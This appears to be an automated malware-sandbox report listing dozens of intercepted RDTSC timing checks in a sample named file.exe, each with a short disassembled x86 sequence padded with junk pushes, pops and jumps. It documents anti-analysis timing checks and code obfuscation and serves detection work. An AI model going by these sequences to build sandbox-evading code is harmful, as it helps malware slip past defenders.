Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2D1D second address: CA2D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2D23 second address: CA2D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edx 0x00000008 jl 00007FDAD10EAC36h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007FDAD10EAC46h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3008 second address: CA3037 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDAD0CA5E38h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3037 second address: CA3054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC49h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3054 second address: CA305A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3566 second address: CA356B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA356B second address: CA3570 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3570 second address: CA3589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDAD10EAC36h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FDAD10EAC36h 0x00000013 ja 00007FDAD10EAC36h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3589 second address: CA35A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA35A6 second address: CA35B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA35B2 second address: CA35B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA35B9 second address: CA35C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDAD10EAC36h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA43C1 second address: CA43C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2308 second address: CA2322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC44h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB434 second address: CAB43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB43F second address: CAB443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB5AC second address: CAB5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB5B1 second address: CAB5D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jnl 00007FDAD10EAC36h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 jp 00007FDAD10EAC3Ch 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a ja 00007FDAD10EAC38h 0x00000020 push edi 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB5D9 second address: CAB5F4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDAD0CA5E34h 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCC8A second address: CBCC9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007FDAD10EAC36h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF657 second address: CBF669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jne 00007FDAD0CA5E26h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC80B1 second address: CC80D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FDAD10EAC40h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC80D2 second address: CC8101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDAD0CA5E38h 0x0000000c jmp 00007FDAD0CA5E30h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8101 second address: CC8115 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Ah 0x00000007 jns 00007FDAD10EAC36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEB77 second address: CCEB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEB7B second address: CCEB83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEB83 second address: CCEB8D instructions: 0x00000000 rdtsc 0x00000002 je 00007FDAD0CA5E2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD84F7 second address: CD84FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6E32 second address: CD6E38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7357 second address: CD7362 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A085 second address: C199A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 sbb edx, 493960A5h 0x0000000f lea eax, dword ptr [ebp+12489DC6h] 0x00000015 sub dword ptr [ebp+122D2287h], ecx 0x0000001b push eax 0x0000001c jmp 00007FDAD0CA5E37h 0x00000021 mov dword ptr [esp], eax 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D2ADAh], ebx 0x0000002b add dword ptr [ebp+122D248Ch], edi 0x00000031 popad 0x00000032 call dword ptr [ebp+122D286Eh] 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push edx 0x0000003c pop edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD77F8 second address: CD77FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD77FC second address: CD7806 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDAD0CA5E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDED81 second address: CDED87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDED87 second address: CDED8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDED8C second address: CDEDCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC48h 0x00000007 push ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDAD10EAC42h 0x00000014 jnc 00007FDAD10EAC3Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEF98 second address: CEEFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEFA2 second address: CEEFA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEFA8 second address: CEEFBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jo 00007FDAD0CA5E26h 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEFBB second address: CEF006 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Dh 0x00000007 jmp 00007FDAD10EAC42h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FDAD10EAC49h 0x00000017 jmp 00007FDAD10EAC43h 0x0000001c pushad 0x0000001d jl 00007FDAD10EAC36h 0x00000023 push edi 0x00000024 pop edi 0x00000025 push esi 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF006 second address: CEF01A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBA2A second address: CFBA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDAD10EAC3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBA3C second address: CFBA59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBA59 second address: CFBA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE380 second address: CFE38C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FDAD0CA5E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE38C second address: CFE3B0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDAD10EAC44h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D005BC second address: D005C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D005C0 second address: D005D0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDAD10EAC36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D005D0 second address: D005DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDAD0CA5E2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D182E5 second address: D182EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D182EB second address: D182EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1711E second address: D17126 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17126 second address: D1712D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17570 second address: D17574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D176F0 second address: D176F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17AD7 second address: D17B0E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDAD10EAC3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jo 00007FDAD10EAC36h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b jmp 00007FDAD10EAC46h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B0E second address: D17B12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17B12 second address: D17B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17E20 second address: D17E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17E26 second address: D17E30 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDAD10EAC36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17FB4 second address: D17FC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17FC3 second address: D17FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1AF39 second address: D1AF54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C5AD second address: D1C5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E21B second address: D1E21F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E21F second address: D1E225 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0DE5 second address: 48C0E7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FDAD0CA5E4Eh 0x0000000f jmp 00007FDAD0CA5E36h 0x00000014 add eax, ecx 0x00000016 jmp 00007FDAD0CA5E30h 0x0000001b mov eax, dword ptr [eax+00000860h] 0x00000021 pushad 0x00000022 push esi 0x00000023 pushad 0x00000024 popad 0x00000025 pop ebx 0x00000026 popad 0x00000027 test eax, eax 0x00000029 jmp 00007FDAD0CA5E35h 0x0000002e je 00007FDB42D1BD3Ch 0x00000034 jmp 00007FDAD0CA5E2Eh 0x00000039 test byte ptr [eax+04h], 00000005h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FDAD0CA5E37h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0E7A second address: 48C0E80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0E80 second address: 48C0E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33C49 second address: C33C7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007FDAD10EAC44h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3407F second address: C34091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FDAD0CA5E26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C34091 second address: C340AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0411 second address: 48E0446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FDAD0CA5E30h 0x0000000b or si, 0188h 0x00000010 jmp 00007FDAD0CA5E2Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov edx, dword ptr [ebp+0Ch] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 push ebx 0x00000022 pop esi 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0446 second address: 48E045D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 0CEFh 0x00000007 mov edi, esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ecx, dword ptr [ebp+08h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov bh, 9Eh 0x00000014 mov cl, CAh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D05FC second address: 48D0600 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0600 second address: 48D0606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0606 second address: 48D060C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D060C second address: 48D0610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0610 second address: 48D061F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D061F second address: 48D0623 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0623 second address: 48D0629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0629 second address: 48D0638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC3Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0638 second address: 48D06EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov bx, 4BA2h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDAD0CA5E39h 0x00000018 xor ch, 00000076h 0x0000001b jmp 00007FDAD0CA5E31h 0x00000020 popfd 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FDAD0CA5E39h 0x0000002f adc esi, 12AA8186h 0x00000035 jmp 00007FDAD0CA5E31h 0x0000003a popfd 0x0000003b pushfd 0x0000003c jmp 00007FDAD0CA5E30h 0x00000041 sbb ax, 6428h 0x00000046 jmp 00007FDAD0CA5E2Bh 0x0000004b popfd 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D06EA second address: 48D077C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDAD10EAC3Fh 0x00000008 pop ecx 0x00000009 call 00007FDAD10EAC49h 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov ebp, esp 0x00000014 jmp 00007FDAD10EAC47h 0x00000019 xchg eax, ecx 0x0000001a jmp 00007FDAD10EAC46h 0x0000001f push eax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FDAD10EAC41h 0x00000027 adc si, BDB6h 0x0000002c jmp 00007FDAD10EAC41h 0x00000031 popfd 0x00000032 push eax 0x00000033 push edx 0x00000034 mov ecx, 45FB57FDh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D077C second address: 48D07A3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDAD0CA5E2Ah 0x00000008 xor ecx, 252170D8h 0x0000000e jmp 00007FDAD0CA5E2Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D07A3 second address: 48D0823 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov dh, ch 0x0000000d mov ax, di 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDAD10EAC42h 0x00000019 xor ecx, 059FB598h 0x0000001f jmp 00007FDAD10EAC3Bh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007FDAD10EAC48h 0x0000002b xor ax, DFF8h 0x00000030 jmp 00007FDAD10EAC3Bh 0x00000035 popfd 0x00000036 popad 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FDAD10EAC45h 0x0000003f rdtsc
